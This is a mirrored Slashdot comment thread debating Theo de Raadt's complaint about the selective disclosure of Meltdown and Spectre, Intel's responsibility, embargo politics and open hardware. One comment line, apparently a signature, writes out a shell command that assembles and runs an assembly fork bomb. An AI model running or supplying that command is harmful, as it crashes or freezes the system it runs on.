Slashdot Mirror
OpenBSD's De Raadt Pans 'Incredibly Bad' Disclsoure of Intel CPU Bug (itwire.com)
troublemaker_23 quotes ITWire:
Disclosure of the Meltdown and Spectre vulnerabilities, which affect mainly Intel CPUs, was handled "in an incredibly bad way" by both Intel and Google, the leader of the OpenBSD project Theo de Raadt claims. "Only Tier-1 companies received advance information, and that is not responsible disclosure -- it is selective disclosure," De Raadt told iTWire in response to queries. "Everyone below Tier-1 has just gotten screwed."
In the interview de Raadt also faults intel for moving too fast in an attempt to beat their competition. "There are papers about the risky side-effects of speculative loads -- people knew... Intel engineers attended the same conferences as other company engineers, and read the same papers about performance enhancing strategies -- so it is hard to believe they ignored the risky aspects. I bet they were instructed to ignore the risk."
He points out this will make it more difficult to develop kernel software, since "Suddenly the trickiest parts of a kernel need to do backflips to cope with problems deep in the micro-architecture." And he also complains that Intel "has been exceedingly clever to mix Meltdown (speculative loads) with a separate issue (Spectre). This is pulling the wool over the public's eyes..."
"It is a scandal, and I want repaired processors for free."
In the interview de Raadt also faults intel for moving too fast in an attempt to beat their competition. "There are papers about the risky side-effects of speculative loads -- people knew... Intel engineers attended the same conferences as other company engineers, and read the same papers about performance enhancing strategies -- so it is hard to believe they ignored the risky aspects. I bet they were instructed to ignore the risk."
He points out this will make it more difficult to develop kernel software, since "Suddenly the trickiest parts of a kernel need to do backflips to cope with problems deep in the micro-architecture." And he also complains that Intel "has been exceedingly clever to mix Meltdown (speculative loads) with a separate issue (Spectre). This is pulling the wool over the public's eyes..."
"It is a scandal, and I want repaired processors for free."
You know, he's not wrong. This is, in impact, way bigger than Intel's FDIV fiasco and that ended up in recalls.
Also it might be possible that he was intentionally left out due to trust issues after patching the Krack attack and thus disclosing info about it prematurely.
That doesn't explain why FreeBSD wasn't notified until 5-6 months after Intel and ARM knew about the issue and until after Apple had shipped a patch. It also wasn't helped that there was no real coordination in releases. Apple shipped a binary update and there were patches in the Linux tree containing mitigation before the official end of the embargo period.
I am TheRaven on Soylent News
Should every single OS developer be notified of the vulnerability?
Yes
Next question.
This is a question of quality, not idealism and perverse incentives.
We aren't talking about IME here. You seem to be blindly assuming that Open hardware is always free of faults.
Yeah, that pissed a lot of people off.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
While I agree the whole thing was handled badly, in fact it was The Register who was going to print the story long before Intel, Google or anyone wanted them too. This sort of threat required more secrecy and unfortunately The Register exposed it long before fixes were really ready. Moore's Law seems to be the big culprit in this as the chip makers ran up against a brick wall in terms of core speed. I don't agree that Intel knew the risk and not even sure given the exposure time without a exploit has been a big risk. Over a decade and no attack against this? No a huge risk to me. Sadly the hype and anger against Intel is unfounded and Intel is not alone in using this design and I am sure other chip makers saw it as a good way to increase speed.
Not sure about others but some are available for purchase.
"SiFive has declared that 2018 will be the year of RISC V Linux processors" - Linux Now Has its First Open Source RISC-V Processor, Slashdot.
To answer AC's question a few moths later: "What's the big advantage with RISC over ARM or x86?"
Meltdown, Spetre.
Funny, both me and my friend worked at companies where we were told to ignore risk. Why would intel be different?
Avantgarde Hebrew science fiction
This has been extremely worrying. What's more worrying are the number of 'security researchers' regurgitating Intel's bullshit verbatim. We have yet to fully see the fallout from this.
He's also dead right in that Intel has been mixing up the two issues, Meltdown and Spectre, deliberately, so they could tell everyone that it wasn't just Intel that was affected, and they also gave the impression that Spectre had been fixed when it was Meltdown that had been mitigated - with a patch that creates unacceptable performance problems, to a lesser or a greater extent.
Yes, all processor manufacturers are affected by Spectre, but it is Intel that is mostly affected because they implemented speculative loads badly without much attempt at segregation. They've also attempted to pass this off as 'historical architectural decisions we can do nothing about, but it is working as designed'.
On january 4. I noticed a sudden change in our systems running in AWS. I have set some scaling factors that suddenly started kicking in without any visible changes in traffic pattern or userbase. It turns out our EC2 instances have seen a 50% inrease in idle load, that is quite significant!
Allthough it is only from 20% load to 30% I will still claim significant being idle load.
captcha: banally
>is hard to believe they ignored the risky aspects. I bet they were instructed to ignore the risk
The specific issue that Pentium line CPUs: a) do privilege check asynchronously; b) do it only for the "winning" execution branch was very well known among CPU design community.
Intel architects even bragged about that as their "innovation" in industry journals and filled a number of patents for that (this is the reason amd privilege checker runs on all branches)
Intel makes a monumental decision to benefit the short-term interest of their corporation at the long-term expense of their customers, then tries to weasel out of a equitable fix for their customers? It's not only their product that can't be trusted, it's their judgement at all levels. Heads need to roll at Intel for this....
Everything in the Universe sucks: It's the law!
"It is a scandal, and I want repaired processors for free."
And I want a pet unicorn. Come to think of it, unicorns are about as real a thing as a "repaired processor" since they physically cannot be repaired. He wants a replacement processor which almost certainly is never going to happen. Basically he's asking for every processor produced in the last 20 years to be replaced for free. If you think that's realistic I've got a bridge to sell you.
There will be plenty of legal action over this and the results of that will be the full extend of any compensation. Furthermore to get compensation he will have to show actual harm incurred. Simple fact is that at least so far there has been little to no tangible harm from this problem to date so standing will be an issue for anyone who sues. This might change in the coming months/years but until it does the chip makers aren't going to pay a dime to replace anyone's chip - flawed or otherwise.
Open Hardware doesn't fix problems in silicon that has already been manufactured. It might help with the next generation but it won't prevent bugs from appearing in the first place.
Bear in mind that the reason Open Source software works so well is that the marginal cost of (re)production is close to zero and that there are (comparatively) minimal capital costs. Really you just need a PC and a lot of time. Open Hardware is a worthy goal but it's going to be a LOT trickier to pull off in the real world for mostly economic reasons. Furthermore hardware isn't protected by copyright for the most part. It's protected by patents and those are expensive. Worse once someone has one on a piece of kit they can basically shut down any open hardware that uses that idea for the next 20 years.
Sure it does. If you want to keep something quiet until you are ready to announce it, then you DO NOT tell any of the people who have a track record of spilling the beans. Regardless of where you personally stand on the idea of embargos and standing up for principles, Theo refused to go along with an embargo previously and it was quite likely that he wouldn't do so this time either. Google's Project Zero team presumably had discussions with Intel and select others they felt they could trust about what was required to address the problem and how long it would take, and that group collectively agreed on the original release date of January 9th, plus who else to notify and when. Clearly that larger group did not include anyone in the BSD camp.
Standing up for your principles can have a cost attached, and I suspect we've just seen what that was for Theo and the BSD developers.
UNIX? They're not even circumcised! Savages!
"... I want repaired processors for free."
So do I. I want backdoor-free processors without payment. I will send Intel the faulty processors.
Intel CPU Backdoor Report (Jan. 1, 2018)
My opinion: Intel is a world-class company, with poor top-level management. Brian Krzanich is not the kind of person who is necessary. He is not a person with enthusiasm for technology combined with the social ability to lead a large company. One story about Krzanich: Intel CEO sold all the stock he could after Intel learned of security bug.
Paul Otellini, the previous CEO, was worse, in my opinion. Otellini "joined the finance department in 1974" I complained about Otellini 11 1/2 years ago in a Slashdot comment: More Intel employees should say in public what they have told me in private: Intel CEO Paul Otellini is not a competent leader. He lacks social ability. (June 09, 2006)"
Intel's health and strength is important to everyone on the planet, it seems to me. The technological part of the company can be excellent, but recent top management has not been able to handle the challenges.
The underlying issue, it seems to me, is that the process of choosing new CEOs tends to be defective. Perhaps all employees should have 50% of a vote, with the board of directors having 50%.
It also wasn't helped that there was no real coordination in releases.
There was, the problem is exactly what they were trying to avoid. It was under non-disclosure back in November. The actual full disclosure date wasn't supposed to be until tomorrow (9th Jan) so coordinated releases could take place. Unfortunately someone jumped the gun and we're left with the clusterfuck that this has become (Microsoft patches released, Apple patches released, UEFI patches not ready yet, Linux patches scheduled for original date).
This one of the very few downsides of Opensource. It's difficult to release bug information under NDA as efforts to patch the bugs result in the bug being revealed. That and Theo shat the bed with his past irresponsible patching of a bug early that was covered under a coordinated release schedule.
Secrets are only kept when few people know about them.
Beating the competition happens without increased risks to customers?
How do you measure risk as a buyer and what are the alternatives?
ARM is a RISC architecture, and plenty of RISC architectures suffer from Spectre. Meltdown is an Intel-only bug -- AMD doesn't have it because they implemented an obvious security rule, and presumably Cyrix and other x86 implementations didn't either.
To quote Linus "A *competent* CPU engineer would fix this by making sure speculation doesn't happen across protection domains." It's pretty bleeding obvious that either the Intel engineers are completely incompetent, or they were instructed to look the other way.
Oh, Linus said it so that means he's an expert at CPU design. That's like saying competent engineers don't work at failed CPU companies yet Linus worked at Transmeta, so go figure.
I dont care how much better their next CPUs might be, im jumping ship for AMD on my next upgrade. I did the same after NVidia fucked me over.
Why did OpenBSD silently release a patch before the embargo?
OpenBSD announced an errata on 30 August 2017 that silently prevented our key reinstallation attacks. More specifically, patches were released for both OpenBSD 6.0 and OpenBSD 6.1.
We notified OpenBSD of the vulnerability on 15 July 2017, before CERT/CC was involved in the coordination. Quite quickly, Theo de Raadt replied and critiqued the tentative disclosure deadline: “In the open source world, if a person writes a diff and has to sit on it for a month, that is very discouraging”. Note that I wrote and included a suggested diff for OpenBSD already, and that at the time the tentative disclosure deadline was around the end of August. As a compromise, I allowed them to silently patch the vulnerability. In hindsight this was a bad decision, since others might rediscover the vulnerability by inspecting their silent patch. To avoid this problem in the future, OpenBSD will now receive vulnerability notifications closer to the end of an embargo.
09F91102 no, 455FE104 nope, F190A1E8 uh-uh, 7A5F8A09 that's not it, C87294CE no. Ah! 452F6E403CDF10714E41DFAA257D313F.
You do realise that OpenBSD and FreeBSD are two different entities, right?
This is a question of quality, not idealism and perverse incentives.
We aren't talking about IME here. You seem to be blindly assuming that Open hardware is always free of faults.
This is a question of quality. You seem to be blindly assuming that starts and ends with hardware faults. It does not, and it was the main point Theo was making here. Quality also has to do with how you handle faults when they happen.
And I'd sure as shit trust an open community a lot more than a proprietary closed one hell-bent on protecting profits at all costs. How many more bugs does Intel know about right now that they refuse to disclose because it might affect stock price? I rest my case.
Sure it does. If you want to keep something quiet until you are ready to announce it, then you DO NOT tell any of the people who have a track record of spilling the beans.
When has FreeBSD ever disclosed a security vulnerability under embargo? FreeBSD has a security officer and a secteam group that are the only ones that have access to any embargoed security information and have separate infrastructure from the rest of the project for preparing fixes. Only people who have signed the relevant NDAs are allowed access to anything shared with this group and they are normally given information about embargoed security issues as a result.
Regardless of where you personally stand on the idea of embargos and standing up for principles, Theo refused to go along with an embargo previously and it was quite likely that he wouldn't do so this time either
You do realise that FreeBSD and OpenBSD are entirely different projects, run by different people, with different infrastructure and different codebases and that Theo De Raadt has no connection to the FreeBSD project?
I am TheRaven on Soylent News
To quote Linus "A *competent* CPU engineer would fix this by making sure speculation doesn't happen across protection domains."
That's bullshit. When Intel introduced speculation across protection domains everyone including Linux was happy because it reduced system call costs. Without this, as soon as you get to a syscall / sysenter instruction, you stall the pipeline until all pending instructions have been committed. On a modern Intel CPU with close to 200 instructions in flight at a time, that's a measurable performance overhead.
We've known for a long time that side channels of this kind were possible, but not that they were performant. The new attacks are not interesting because they're side channels that allow data to be disclosed, they're interesting because they're side channels that allow disclosure far faster than previously believed. CPU designers believed that this kind of attack could only be exploited to get a bit every few seconds, at which rate it's not really worth trying as an attack and is pretty easy for software to spot (hmm, why is this thread at 100% and triggering insane numbers of cache misses? Looks malicious...). Now we know that you can use these attacks to get data at about 0.5MB/s, so you can scan the whole of memory in a few minutes.
I am TheRaven on Soylent News
I was one of those who called "no way" at first, but just yesterday I found this quote from an Intel engineer. It was originally posted in a reddit thread but has since been deleted - but not before being confirmed by other former engineers at Intel.
"We mustn't be caught by surprise by our own advancing technology" -- Aldous Huxley
As others have previously, it is now time for a completely open processor. I like the work of openrisc and risc v projects. In my opinion, Intel is standing at the precipice of its own undoing. Intel's steadfast refusal to issue a recall is just hubris and might be a call to arms for competition to knock it down. This year might very well be the year that a few kickstarter projects get launched and that we have the beginnings of an exciting new trend in computing.
Not to be an Intel apologist, but clearly they can't afford to replace everyone's Intel with an identical socket that is unaffected by the problem. The best I'd think that could be hoped for would be a refund with depreciation of value on the processor. That'd still suck but I can't see how we'd get any more. A class action would just get us all a $15 coupon towards our next Intel purchase.
Because it's FreeBSD. They're not a real player and they can be butthurt, but gosh darn it I rolled my own experimental kernel and I sure wasn't notified either.
Wider disclosure of a vulnerability means a greater chance that it's leaked to those who would exploit it for malicious purposes.
This has a very poor underlying assumption: White hats always know about exploits prior to Black hats. Considering the latter are far better funded, have better incentives, and don't disclose; I think the betting is that it is already used for malicious purposes.
Additionally, this is the information age, not the dead tree, secret squirrel, stamped "for your eyes only" days. In this age, does it really matter if 100 or 10000 people know a confidential piece of information? You only need ONE individual in that set to provide the information to malicious actors. Additionally, there are a multitude of incentives and multitude of avenues for sharing with little chance of getting caught.
Given the above, full disclosure is far better than limited disclosure.
Also, due to the nature of the BSD license, it's code is in a ton of software around the world. The assumption that it isn't widely used is wishful thinking of the unknown.
When you look at the actual affected processors vs. the number of people who will actually get off their ass and make a claim to have a processor replaced for free, it becomes very clear how affordable this really is.
A good point but not as good as you make it seem. Quite a lot of affected chips are not user serviceable for reasons such as being soldered to the board. This means that it isn't a simple matter of sending a customer a new chip. In many cases the boards in question won't be available for any price so the most a chipmaker could do would be to pay for a replacement. A repair simply isn't going to be an option in many cases.
But you are right, 99.99999% of people will probably have forgotten about this in a week and the only people concerned about it are the 5 or so of us who still read slashdot. Most people won't have even heard about the problem and most of those who do wouldn't know how to deal with it anyway. Basically it will go away when the current generation of PCs is retired in a few years.
Funny, both me and my friend worked at companies where we were told to ignore risk. Why would intel be different?
There is risk and there is risk. In the work I do risk means that someone could die. It may be that in your and your friends work risk means some people might not be able to access their social media platform for a few hours and not be able to post pics of their cats. For Intel the risk is that their systems run unchanged for multiple years at a time and have a huge market share and could require a hardware fix in order to correct any issues that come up.
I am Slashdot. Are you Slashdot as well?
If I may, I'd have to call this an anecdote rather than a quote. The description is from years after the Intel meeting, and doesn't have direct quotes of speech or writing of the personnel involved in the policy change.
With that understood about the anecdote's provenance, it is _completely_ believable. It is precisely the sort of mandate that can save a company in the short term, preserving the jobs and careers and technological development the company is doing, at the risk of a deadly failure down the road. It's the sort of business risk assessment that occurs on an annual basis when testing standards and guidelines are set. It also occurs on a daily basis when security practices are created: do we accept the risk of a breach today, while this is unpatched, versus the risk of service failure or loss of business during system updates?
RISC V = Risk Free?
"Trump!!", the new Godwin.
No, it's not tricky to pull off.
If it wasn't tricky to pull off then it would have already been done on a wide scale. I'm not saying it's impossible but it is going to be a much tougher nut to crack than open software. Mostly for economic reasons rather than technical ones.
- Research and make use of expired patents extensively, file new ones defensively.
Who is going to do this? Who has the funding and more importantly the incentive to do this? IBM received 8000 patents in 2016 and numerous other tech companies received thousands more each. Exactly how do you plan to match that sort of pace? How do you plan to produce anything really useful without infringing on a pile of those patents? Not to mention fending off the flesh eating lawyers that give those patents teeth...
It's more capital intensive than software, but it's also not that expensive either.
I'm a certified accountant and an industrial engineer. I do cost accounting for a living. It is a LOT more expensive than software no matter how clever you are. There is a reason gross margins in manufacturing hardware are far thinner than in software. You don't escape these costs by just doing design either. Someone eventually has to make the product and that will require substantial capital. Then you have the cost of distributing the product. Unlike software which can be sent across the net for nearly free, hardware has to be shipped, stored and turned into products, all of which cost non trivial amounts of cash. If you think it isn't substantially more expensive than making and distributing software you haven't done the math.
Of course, when Linux was new the argument was that an OS was just too big for a bunch of Free Software fans to manage.
You are making a false equivalency here. Making and distributing software is COMPLETELY different than making and distributing hardware. The economics could not be more dissimilar. The legal protections (patents vs copyright) are different. The amount of up front capital required is different. You can modify software after it has been release but you cannot do that with (most) hardware. Basically just because it worked out well for software is does not mean it will work out well for hardware. Hope for the best of course but it's likely to be a difficult nut to crack.
Only a big corporate structure could support development of anything as complex as an OS.
Ultimately that turned out to be true. Basically all the developers of linux and most other major OSS projects are employed at large tech firms (and a few large foundations) and are paid to maintain them. It isn't a bunch of hobbyists in their garages.
Open hardware is harder, but probably not impossible.
Not impossible but for non-trivial applications it appears pretty close to it. The obstacles are predominately economic ones and some legal ones and they aren't minor obstacles. I'm not about to hold my breath for patent reform anytime soon and the patent swamp is a real problem. And the economics of making and distributing hardware are immutable. I think Open Hardware is a very worthy goal but it's going to be quite the challenge.
Yes, I do realise that - but it doesn't change the situation that *all* the BSD devs were kept out of the loop regardless of which family they work on. If you consider that there is still a lot of overlap between the two teams in terms of the code and contributors, then it would be kind of hard for FreeBSD to be making changes and testing them - especially if they wanted to roll them out publically like Linux did - without at least some of the OpenBSD devs either being in the loop or figuring out that something was up - and that then becomes a risk of premature and uncontrolled disclosure. Yes, it's possible that the FreeBSD security team could have kept everything under wraps, but from Google's point of view that's not the question they would have been considering; they'd have been considering how likely it was each potential insider was to result in a breach of the embargo. We now know FreeBSD wasn't in the loop, and we have to think they might consider that Theo might be a problem for maintaining the embargo, so regardless of whether they just treated all of BSD as a single entity or that the "Chinese walls" between the two teams wouldn't be strong enough, the end result is the same - a lot of BSD users, in all families, in a race to secure systems before the exploits hit.
UNIX? They're not even circumcised! Savages!
And what incentive does an open community have? When a fault is found who will give you your free CPU?
When Intel introduced speculation across protection domains everyone including Linux was happy because it reduced system call costs
Is that the case? Was this attack known, and deemed an acceptable risk because of the incredible low rate at which data could supposedly be extracted? I remember some papers around 2015 on an attack involving data leaking between processes through the cache, but that did not rely on speculative execution IIRC.
If construction was anything like programming, an incorrectly fitted lock would bring down the entire building...
Everyone running an intel CPU will suddenly discover that they have 5-30% less processor than they paid for.
Untrue. The hardware is unchanged and can run exactly as fast as it always did. Security updates and software slow machines all the time. You'll have to credibly explain why this case requires special consideration. Easy to claim here but not so easy in front of a judge. Frankly most people aren't even going to notice and the few that do notice are going to be corner cases, mostly in large corporations with adequate resources to deal with the problem. From a 10,000 foot view it's not clear why this is meaningfully different than any other serious malware incident. It's not as if it is the first time a flaw has been taken advantage of in hardware.
In many cases, that difference would have resulted in going with the AMD processor. That is a real economic harm that deserves compensation.
I'm afraid it's not nearly that easy. Product liability is a funny thing. First off there is not likely any strict liability here so there is no automatic requirement for compensation. Second, there is unlikely to be any physical danger to anyone. Third, while there is a cost to dealing with the issue it isn't clear that the cost is out of line with other serious security issues including malware. Finally, you still haven't shown the economic harm. I'm sort of playing devil's advocate here just to illustrate the challenges here. In principle I agree with you but the law very likely may not agree with us.
All my Intel processors are out of warranty, and that must be true for a humongous number of people. Since my processors are out of warranty, I don't expect a free replacement - I expect a low cost replacement. The cost to me of replacing the machines would be huge, so I am happy to pay (say $50) for a plug in replacement that ups the performance to what can be achieved in the same socket with today's technology. There is no point in forcing Intel to re-engineer old architectures - that benefits no one.
If Intel are not going to supply paid replacements at reasonable cost, then I expect them to be forced to supply for free all necessary info to anyone else who wishes to make and sell replacements to me on pain of jailing every single shareholder.
If they are not willing to co-operate with their customers in producing an equitable fix, the whole lot of them are guilty of unjust enrichment, obtaining pecuniary advantage by deception, fraud, conspiracy to defraud, and anything else a bunch of greedy corporate lawyers can invent.
If Intel goes bust as a result of this, we can expect the official receiver to sell off the patents to someone who will sell us cheaper and more reliable processors (probably not Cyrix).
Intel need to be wetting their knickers at the very least.
Sent from my ASR33 using ASCII
Funny, both me and my friend worked at companies where we were told to ignore risk. Why would intel be different?
Because all companies are not identical? Do you think everything you and your (imaginary?) friend have in common is also common to every company?
Also, what do you mean by "risk"? Do you think it's reasonable (or even possible) to eliminate all risk of a security breach? When did anyone accomplish that?
Read the answer again, the author allowed the OpenBSD developers to silently patch the vulnerability... and then blames them because someone discovered it.
Was this attack known, and deemed an acceptable risk because of the incredible low rate at which data could supposedly be extracted?
Not this specific attack, but it was known that any source of nondeterminism in a processor was a source of side channels. These were largely ignored because these attacks get lots of papers at top security conferences but are really hard and slow to carry out in practice. Most of the existing attacks used the cache, but there are others involving things like the fact that computation on denormals is much slower than on normal floating point values (a fun one of these lets you scrape browser contents via WebGL and I don't believe has been mitigated yet in spite of being published a couple of years ago).
Speculative execution was known to be a potential source of these side channels for a while. Now that it's shown to be feasible, expect a lot more similar attacks.
I am TheRaven on Soylent News
Maybe Theo de Raadt would be notified more in advance if he didn't break embargos like he did with the KRACK vulnerability...
From a big picture perspective, the making of the hardware has already been detached from the design of the system.
Doesn't matter. You still have to make it and that still will cost money. Doesn't matter if you make it in house or if you hire someone else to do it. If doesn't matter if you have the secret formula for Coke, you still have to put sugar water in bottles and ship it somewhere which is expensive. It's FAR harder to bootstrap the funding for an open source hardware design than open source software.
Would a manufacturer take the risk of making a huge investment that relies on Open Source designs? They already do. Most mobile phones are entirely worthless without Android, an Open Source software.
You're conflating issues. You can already send an open source chip design to a chip fab or a hardware design to a contract manufacturer. My day job is general manager of a contract manufacturer (wire harnesses) so I'm more than passingly familiar. But just because you have outsourced production doesn't mean that the costs for it go away. Your analogy to Android is a meaningless one here.
Just because someone else makes it doesn't make the patent swamp go away. Open source software works precisely because how copyright law is written. The GPL and every other license basically only works because of copyright law. That doesn't apply to hardware. To protect hardware designs you have to get patents on the design and that costs serious money. Not only that you have to avoid infringing other companies patents which is not a trivial exercise when companies like IBM, Google, Apple, etc are getting thousands of new ones every year.
Companies that rely heavily on open source software can do so because they have an alternative revenue source. Typically service or engineering - sometimes ads. What is the alternative revenue source for open hardware? Service? Maybe but the revenue streams aren't quite as clear for open hardware. And even if they become clear it still doesn't solve the capital costs and patent issues.
I'm not saying it's impossible but it definitely will be difficult for open hardware to achieve the sort of success we've seen with open software.
Re "Open hardware is always free of faults."
We have seen what the best names in some sectors of the computing community did for security for years.
PRISM (surveillance program) https://en.wikipedia.org/wiki/...
Open software and open hardware is a good start at having a few people have a look at computer security.
The big brands keep failing.
Generations of failed hardware, junk encryption, CPU's, OS and networking. Backdoors, trapdoors.
Domestic spying is now "Benign Information Gathering"
Linux Now Has its First Open Source RISC-V Processor, Slashdot. To answer AC's question a few moths later: "What's the big advantage with RISC over ARM or x86?" Meltdown, Spetre.
ARM is a RISC architecture, and plenty of RISC architectures suffer from Spectre
I think the GP was using RISC as an abbreviation for the RISC-V brandname, not RISC as in the architecture design approach. Indicating an advantage of RISC-V CPUs over ARM or x86 CPUs.
With a vulnerability disclosure of that scale, I can forgive a researcher for making a poor decision. Maybe you spend months to years bug hunting and make one discovery.
But someone who deals with a near constant stream of high severity bugs, should take a more considered position.
09F91102 no, 455FE104 nope, F190A1E8 uh-uh, 7A5F8A09 that's not it, C87294CE no. Ah! 452F6E403CDF10714E41DFAA257D313F.
This is the best comment to the situation I have read so far.
...?". One can say that the question is very legitimate - yes it is, when it is asked in each case.
I find it peculiar that when Intel CPUs have a bug, it is "all computers", otherwise CPUs manufacturers are named, similar when MS Windows have security issues it is "all computers", whilst otherwise an OS is named explicitly. One may say it is purely because of the sheer number, however I do listen and read a lot and the corporate PR behind the "neutral" news announcements is so obvious that it becomes comical to certain extent.
Once, when listening to some podcast the WiFi key issue was mentioned and one could almost hear the chink of silvers behind the question "Are all OSes affected by this
Please stop spamming.
I'm no fan of Intel but I can't help but see Meltdown as at least partly the fault of OS vendors. They decided to keep kernel and user memory in the same address space for performance despite known problems with branch prediction and despite KPTI being an option.
I doubt Intel ever claimed prediction could not be detected nor forced kernel devs not to use KPTI. Usually when a vulnerability is found in a software architecture you blame the software.
According to whom?
I've been seeing some estimates of 5%-30% load increases when patches for Meltdown are applied to various OSs.
So I'm running VirtualBox for VM test-bed stuff. If the host OS (Linux, in this case) has this extra load, I'm guessing the guests will also have their own extra load added in. Is it correct to think that the host CPU might well have >50% load thanks to this?
Trolling is a art,
That is just APK (Alexander Peter Kowalski) not signing his work.
...and you are...?
Anyway: citation needed. Personally I suspect it's the tooth fairy.
Proprietary software tends to be imperfect. Proprietary hardware tends to be imperfect. Free and Open Source software tends to be imperfect.
Complete the square: what should we expect of Free and Open Source hardware?
If your answer is 'perfection', I remind you that we're discussing engineering problems, not mathematical proofs.
To answer AC's question a few moths later: "What's the big advantage with RISC over ARM or x86?"
Before discussing the advantage you need to discuss the difference. What's the difference between RISC over ARM or x86? Nothing.
a) ARM is RISC
b) x86 is CISC only in the instruction set. The processors themselves have had far more in common with RISC processors since the days of the Pentium Pro.
CISC CPUs don't really exist in modern computing.
You do realise that OpenBSD and FreeBSD are two different entities, right?
You do realise there's more in common between them than what sets them apart, including a lot of sharing between developers.
(Posting anon to protect myself.)
I was involved with Intel and their Curie module.
If you know how bad that was and how many silicon level bugs there were, well, at this point I think you would believe it.
They made a TV series from that chip (as a PR move). Just a year later, they EOLd the chip and now Mouser/etc have thousands of unsellable Curie chips that no one wants. Intel even removed all traces of their TV show event, as if it was an embarassment to them. Everyone that was part of that event left Intel, as far as I know.
The Intel CEO grabbed a lot of the glory of dealing with celebrities and just wanted to be on TV. I can tell you that people who worked that project were treated like crap, but the execs got TV time and glory.
The chip still sucked and its unsellable, now.
Intel gave up on IoT. They had to. They would not listen to anyone and of course they failed since this is not their core competancy.
Intel is now a joke. H1B's walk the hallways. And contractors, tons of contractors. What does that tell you, when they hire temps more than fulltime people?
I would not integrate with Intel chips, given what I've seen.
I am willing to bet a marsbar that you weren't "told to ignore risk" but rather that the risk assessment process was handled by a different department or at a different paygrade.
Humans are horrible judges of risk which is why it *should* never be left up to individual people (especially people within a single field) to determine.
Intel should let all affected processors on all motherboards be overclockable. That might satisfy the tech nerds who care about this most without costing Intel too much money.
(T>t && O(n)--) == sqrt(666)
That meeting there in late 2013 signalled a sea change at Intel to many of us who were there.
Well maybe it was, but these problems predate 2013. Guess the "validation" that was happening in the 18 years between 1995 and 2013 didn't amount to much.
Maw! Fire up the karma burner!
But, wasn't Meltdown an issue with Intel CPU's far before this change in validation happened?
OpenBSD's De Raadt Pans 'Incredibly Bad' Disclsoure of Intel CPU Bug
"Disclosure" in the headline has been incorrectly typed out is "disclsoure".
Perhaps the groundwork needs to be laid for an open, modular FPGA platform, to allow for the creation/modification of CPU cores without having to rework the silicon weekly.
There is no XUL, only WebExtensions...
Comment removed based on user account deletion
You are definitely going to get neither, so start making your tantrum plans now. At most, you might get some money. That is the upper bound. You are not getting a socket-compatible replacement for any obsolete socket. 0.000% chance.
Your expectation will not be met, and nobody at Intel needs to have the slightest concern about jailtime. This is not a risk they are facing.
They are going to offer you something they call an equitable fix. You're simply going to dislike it. But their lawyers will outsmart you in court, because they are professional lawyers and you're just some random person who hasn't made his living working in liability law 8 hours per day for all his adult life. (C'mon, you gotta admit you're hopelessly outmatched in this regard.)
The "equitable fix" might be nothing more than a software patch. But I think you may get more: some unsatisfying payment of money, at best, and there will be a well-formed (even if disagreeable) argument about how that payment was equitable. Their argument will be strong in court, based on the common practices of tens of thousands of liability cases over the last century, and ultimately, a judge will sign off on it. Your layman-lawyer opinion about the fairness is irrelevant, because from the judge's point of view, adults (i.e. lawyers) are talking, citing previous cases, citing laws, etc. Fairness is what people hope emerges from this system, but isn't mechanically part of that system.
If you have a mobo with an obsolete socket, you will definitely be unhappy about that, because the cost of replacing that will not be a factor. That expense will be completely yours, and probably what you'll be most bitter about. But OTOH they'll say you can keep on using your old hardware, with software patches, getting a continuing value out of your processor. It will be less than 100% of the prior performance, but more than 0%.
They are, just not to the degree that you're hoping.
Nobody expects perfection. Just some quality control for the amount paid.
Just not shipping junk encryption, OS and generations of CPU would be a great start.
Good software by good people can then be designed and tested over good hardware.
Domestic spying is now "Benign Information Gathering"
Not sure about others but some are available for purchase.
"SiFive has declared that 2018 will be the year of RISC V Linux processors" - Linux Now Has its First Open Source RISC-V Processor, Slashdot.
To answer AC's question a few moths later: "What's the big advantage with RISC over ARM or x86?"
Meltdown, Spetre.
Meltdown? Nope. You can buy high performance x86 processors now that isn't affected, you could have bought high performance x86 processors in the past that weren't affected. So that's simply put bullshit, either you are lying or not knowing what you are talking about.
Spectre? Nope. Nothing about it is x86 or ARM specific and the only reason RISC V isn't affected is that it didn't use the performance enhancing features other high-end processors did. Now that's a good slogan right? "We are so slow that we missed a stray bullet".
Man, have you ever drunk the software caveat-emptor Kool-Aid whole cloth.
The specifications for hardware and software are not that it will work as specified.
The specification is that, with sufficient user cleverness (and sweat streaming off a bulging forehead, and unbroken vigilance) it is possible to almost get the hardware or software to attain its putative performance ratings without catching one or more incurable black hat diseases along the way.
This ethos dates from the 1980s and 1990s when the upgrade cycle (both hardware and software) was three years at most, and the whole drama could barely play out in that time frame.
I bought my Sandy Bridge Xeon in January 2013 and I'm not sure I'd take a free swap to Intel's newest equivalent, because the hassle of swapping over probably exceeds the expected gain (my average uptime, when the power company isn't replacing faulty-from-birth concrete power poles, has averaged well over a year, and there hasn't been a single hardware or OS glitch that I know about since I eliminated one suspect hardware card, back in the first few months).
I make fairly heavy use of BSD jails, and I've always regarded process isolation as more important than raw performance.
Punting isolation from hardware to software is a Sisyphean burden. One important binary on your system that wasn't compiled with the right compiler (on the right day) and the game is lost. Worst, if there's a 'retguard' gadget variant of the attack, you also have to use the right linker (on the right day), because security is (potentially) no longer link-order independent. Lovely, lovely, isn't that lovely.
This giant, amorphous, hard-to-discern attack surface is now my problem because "durf durf, complicated, too many transistors" and "we can't read widely circulated papers pointing out that one of our optimizations is full of shit" and "caveat-emptor grandfather clause—so suck it!".
If there was a paper from long ago pointing this out (as I've seen stated in this thread, but haven't check out myself) then there's going to be an MFT of legal discovery pointed at Intel to find out what they knew and when they knew it.
The GHz wars were a great thing, because it rapidly erased your worst corporate blunders.
The beleaguered end-user responded to constant threat by refusing to buy computer systems with CPUs and memory soldered to the mainboard (only then it was a bug in an ASUS northbridge—newly introduced when they bumped the much-loved board from an A to B revision—that caused the disk controller to scribble randomly over my hard drive, taking out three different OS boot partitions in a single bound).
Once vendors start soldering CPUs and memory to main boards, it's like, so long puberty, you're apparently an adult now.
Adults in every other industry recall or replace products that don't work as least marginally to original specifications (without forcing the end-user to jump through a thousand flaming hoops).
It's high time to set aside childish ideas that this technology (alone) can demand unlimited user backflips before any restitution is warranted or justified.
To steal a recent quote about this issue, "I don't need to be a baker to know when the bread is stale."
Here is their timeline. Surprising that (unlike RedHat) there is still no patch.
You are mentally modelling KPTI as an annoying one-time fix (with not much further burden), and not as a brittle work-around that requires permanent vigilance to pervasively deploy and enforce (Google's retpoline certainly falls into the class of permanent vigilance burdens).
